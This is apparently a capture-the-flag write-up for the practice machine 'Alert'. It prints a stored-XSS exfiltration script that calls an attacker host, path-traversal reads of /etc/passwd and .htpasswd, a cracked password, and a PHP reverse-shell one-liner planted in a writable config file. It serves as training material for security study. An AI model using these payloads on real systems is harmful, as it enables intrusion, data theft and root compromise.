
Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Besides the SSH port there’s only HTTP on port 80 with a redirect to alert.htb, so I’ll add this domain to my /etc/hosts file.
Initial Access

Browsing to the web page shows an upload form for Markdown files. There’s also a contact form when going to Contact Us that takes an email address and a message. Sending anything that resembles a link via the form provokes a callback.
Fuzzing for additional web pages with ffuf reveals messages. Accessing it through /index.php?page=messages or /messages.php just shows a blank page. There are probably some kind of access restrictions in place.
$ ffuf -u "http://alert.htb/index.php?page=FUZZ" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
-fs 690
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://alert.htb/index.php?page=FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 690
________________________________________________
about [Status: 200, Size: 1046, Words: 187, Lines: 24, Duration: 25ms]
contact [Status: 200, Size: 1000, Words: 191, Lines: 29, Duration: 927ms]
messages [Status: 200, Size: 661, Words: 123, Lines: 25, Duration: 31ms]
donate [Status: 200, Size: 1116, Words: 292, Lines: 29, Duration: 42ms]
alert [Status: 200, Size: 966, Words: 201, Lines: 29, Duration: 41ms]Since Markdown files can also contain Javascript I prepare a simple file for the upload.
### Hello World
<script src='http://10.10.10.10/xss.js'>
</script>After uploading the file, the contents are displayed on the page and I get a callback from my own browser. Additionally there’s a share functionality that returns a link to my uploaded file, turning this into a stored XSS.
I’ll place a simple Javascript payload into xss.js that fetches the contents of the messages page and exfiltrates it as base64 encoded string to my web server.
function exfil(data) {
const e = new XMLHttpRequest();
e.open("GET", "http://10.10.10.10/?callback=" + btoa(data));
e.send();
}
const xhr = new XMLHttpRequest();
xhr.open("GET", "/messages.php", false);
xhr.send();
exfil(xhr.responseText);Through the contact form I send the link to my uploaded Markdown file and receive a callback with the encoded contents of /messages.php. This time it’s not empty and contains some HTML.
<h1>Messages</h1>
<ul>
<li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a>
</li>
</ul>As this looks like it’s retrieving a text file from disk, I check for path traversal next. Therefore I quickly modify xss.js to retrieve /messages.php?file=../../../../../../../../../etc/passwd instead and re-send the link to my Markdown file to the target. This returns the contents of the passwd file and reveals albert and david as possible users.
root:x:0:0:root:/root:/bin/bash
--- SNIP ---
albert:x:1000:1000:albert:/home/albert:/bin/bash
david:x:1001:1002:,,,:/home/david:/bin/bash
Next I’ll exfiltrate the contents of /etc/apache2/sites-available/000-default.conf to have a look at the configuration of the web server. This uncovers another subdomain called statistics that is secured by basic authentication.
<VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>Retrieving the contents of the .htpasswd file reveals a hash for the user albert.
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/This hash cracks after a few seconds with hashcat in mode 1600 and using --user since the file contains the username alongside the hash.
$ hashcat --user -m 1600 htpasswd /usr/share/wordlists/rockyou.txt
--- SNIP ---
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
--- SNIP ---With albert:manchesterunited I am able to login via SSH and collect the first flag.
Privilege Escalation
The user albert is not allowed to run sudo but is part of the management group, so I’ll check if there are any interesting files owned by this group.
$ find / -group management 2>/dev/null
/opt/website-monitor/config
/opt/website-monitor/config/configuration.phpThe search finds one file called configuration.php that is owned by user root but group-writeable by the management group. Since the configuration is loaded upon calling the scripts in the parent directory, I’ll add my reverse shell there.
<?php
define('PATH', '/opt/website-monitor');
$sock=fsockopen("10.10.10.10",9001);system("sh <&3 >&3 2>&3");
?>After waiting a few moments there’s a callback on my listener as root, allowing me to read the final flag.
Attack Path
flowchart TD subgraph "Initial Access" A(Markdown Viewer) -->|File Upload| B(Stored XSS) B -->|Local File Read| C(Read Files on server) C --> D(Contents of .htpasswd) D -->|Hashcat| E(Password for user albert) end subgraph "Privilege Escalation" E -->|Membership in management| F(Writeable PHP config file) F -->|Reverse Shell| G(Shell as root) end
